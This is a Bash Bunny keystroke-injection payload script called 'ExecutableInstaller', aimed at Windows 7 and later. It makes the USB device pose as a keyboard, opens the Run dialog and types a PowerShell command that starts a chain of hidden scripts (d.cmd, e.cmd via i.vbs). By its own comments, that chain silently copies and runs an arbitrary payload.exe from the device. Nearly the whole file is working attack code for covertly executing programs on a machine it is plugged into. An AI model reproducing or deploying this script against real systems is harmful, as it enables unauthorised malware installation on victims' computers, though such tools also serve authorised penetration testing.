#!/bin/bash # # Title: ExecutableInstaller # Author: IMcPwn # Version: 1.0 # Target: Windows 7+ # # Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition, # which in turn executes e.cmd invisibly using i.vbs # which in turn copies payload.exe from the root of the Bash Bunny and then executes it # using the --startup parameter. Change these settings inside of e.cmd. # # Source bunny_helpers.sh to get environment variable SWITCH_POSITION source bunny_helpers.sh LED R ATTACKMODE HID STORAGE QUACK GUI r QUACK DELAY 100 QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')" QUACK ENTER # Green LED for finished LED G